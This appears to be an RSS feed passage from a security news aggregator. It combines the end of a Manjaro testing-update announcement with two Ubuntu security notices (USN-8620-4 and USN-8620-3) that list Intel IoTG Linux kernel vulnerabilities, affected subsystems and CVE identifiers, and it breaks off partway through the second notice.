<li>Get the latest Gaming Laptop by Slimbook powered by Manjaro: <a href="https://slimbook.com/manjaro">Slimbook Manjaro III</a></li>
<li>Protect your personal data, keep yourself safe with Surfshark VPN: <a href="https://get.surfshark.net/aff_c?offer_id=6&amp;aff_id=14558-">See current promotion</a></li>
</ul>
<h2><a name="p-868069-recent-news-2" class="anchor" href="https://forum.manjaro.org/#p-868069-recent-news-2" aria-label="Heading link"></a>Recent News</h2>

New in Manjaro GNOME!
Or, if you prefer the command line: <a href="https://forum.manjaro.org/t/testing-update-2026-07-27-kernels-systemd-libreoffice-firefox-thunderbird/189223/1">(click for more details)</a>

KDE Plasma users with SDDM can now migrate to Plasma Login Manager <a href="https://forum.manjaro.org/t/testing-update-2026-07-27-kernels-systemd-libreoffice-firefox-thunderbird/189223/1">(click for more details)</a>

NVIDIA 590 driver drops Pascal support <a href="https://forum.manjaro.org/t/testing-update-2026-07-27-kernels-systemd-libreoffice-firefox-thunderbird/189223/1">(click for more details)</a>
<ul>
<li><a href="https://forum.manjaro.org/t/manjaro-26-1-bian-may-preview-released/187389" class="inline-onebox">Manjaro 26.1 Bian-May - Preview released</a></li>
<li><a href="https://forum.manjaro.org/t/manjaro-26-0-anh-linh-released/184526" class="inline-onebox">Manjaro 26.0 Anh-Linh released</a></li>
<li><a href="https://forum.manjaro.org/t/manjaro-summit-public-alpha-now-available/176995" class="inline-onebox">Manjaro Summit public Alpha now available</a></li>
<li>As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 6.19.14, the 6.19 series is now EOL (End Of Life). Please install 7.0, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 7.0.14, the 7.0 series is now EOL (End Of Life). Please install 7.1, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
</ul>

Previous News <a href="https://forum.manjaro.org/t/testing-update-2026-07-27-kernels-systemd-libreoffice-firefox-thunderbird/189223/1">(click for more details)</a>
<h2><a name="p-868069-notable-package-updates-3" class="anchor" href="https://forum.manjaro.org/#p-868069-notable-package-updates-3" aria-label="Heading link"></a>Notable Package Updates</h2>
<ul>
<li><strong>Kernels</strong></li>
<li><strong>Systemd</strong> <a href="https://github.com/systemd/systemd/compare/v261.1...v261.2">261.2</a></li>
<li><strong>NetworkManager</strong> <a href="https://networkmanager.dev/blog/networkmanager-1-58/">1.58</a></li>
<li><strong>Firefox</strong> <a href="https://www.firefox.com/firefox/153.0/releasenotes/">153.0</a></li>
<li><strong>COSMIC</strong> Epoch <a href="https://github.com/pop-os/cosmic-epoch/releases/tag/epoch-1.4.0">1.4.0</a></li>
<li><strong>LibreOffice</strong> <a href="https://blog.documentfoundation.org/blog/2026/07/24/libreoffice-26-2-5/">26.2.5</a></li>
<li><strong>Thunderbird</strong> <a href="https://www.thunderbird.net/thunderbird/153.0/releasenotes/">153.0</a></li>
</ul>
<h2><a name="p-868069-additional-info-4" class="anchor" href="https://forum.manjaro.org/#p-868069-additional-info-4" aria-label="Heading link"></a>Additional Info</h2>

Python 3.14 info <a href="https://forum.manjaro.org/t/testing-update-2026-07-27-kernels-systemd-libreoffice-firefox-thunderbird/189223/1">(click for more details)</a>

Info about AUR packages <a href="https://forum.manjaro.org/t/testing-update-2026-07-27-kernels-systemd-libreoffice-firefox-thunderbird/189223/1">(click for more details)</a>
<p>Get our latest daily developer images now from Github: <a href="https://github.com/manjaro-plasma/download/releases">Plasma</a>, <a href="https://github.com/manjaro-gnome/download/releases">GNOME</a>, <a href="https://github.com/manjaro-xfce/download/releases">XFCE</a>. You can get the latest <a href="https://manjaro.org/download">stable releases</a> of Manjaro from <a href="https://cdn77.com/">CDN77</a>.</p>
<hr>
<p><strong>Our current supported kernels</strong></p>
<ul>
<li>linux61 6.1.178</li>
<li>linux66 6.6.145</li>
<li>linux612 6.12.98</li>
<li>linux618 6.18.40</li>
<li>linux71 7.1.5</li>
<li>linux72 7.2.0-rc5</li>
<li>linux61-rt 6.1.167_rt62</li>
<li>linux66-rt 6.6.135_rt74</li>
<li>linux612-rt 6.12.89_rt18</li>
</ul>
<p><strong>Package Changes</strong> (7/27/26 15:28 CEST)</p>
<ul>
<li>testing core x86_64:  64 new and 64 removed package(s)</li>
<li>testing extra x86_64:  765 new and 934 removed package(s)</li>
<li>testing multilib x86_64:  7 new and 7 removed package(s)</li>
</ul>
<p>A list of all package changes can be found <a href="https://gist.github.com/hphilm/4e2ce5543d6f04f3316867ce2a974a37/raw">here</a>.</p>

<ul>
<li>No issue, everything went smoothly</li>
<li>Yes there was an issue. I was able to resolve it myself.(Please post your solution)</li>
<li>Yes I am currently experiencing an issue due to the update. (Please post about it)</li>
</ul>
<p><a href="https://forum.manjaro.org/t/testing-update-2026-07-27-kernels-systemd-libreoffice-firefox-thunderbird/189223/1">Click to view the poll.</a></p>
<p>Check if your mirror has already synced:</p>
<ul>
<li><a href="https://repo.manjaro.org/">Mirror-Check Service</a></li>
</ul>
<hr>
            <p><small>9 posts - 8 participants</small></p>
            <p><a href="https://forum.manjaro.org/t/testing-update-2026-07-27-kernels-systemd-libreoffice-firefox-thunderbird/189223">Read full topic</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8620-4: Linux kernel (Intel IoTG) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3698757/unix-server/usn-8620-4-linux-kernel-intel-iotg-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698757/unix-server/usn-8620-4-linux-kernel-intel-iotg-vulnerabilities/</guid>
<pubDate>Mon, 03 Aug 2026 00:13:04 +0200</pubDate>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Software nodes and device properties;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565,
CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578,
CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594,
CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599,
CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185, CVE-2026-64218,
CVE-2026-64219, CVE-2026-64220, CVE-2026-64221)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8620-3: Linux kernel (Intel IoTG) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3698758/unix-server/usn-8620-3-linux-kernel-intel-iotg-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698758/unix-server/usn-8620-3-linux-kernel-intel-iotg-vulnerabilities/</guid>
<pubDate>Mon, 03 Aug 2026 00:13:04 +0200</pubDate>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
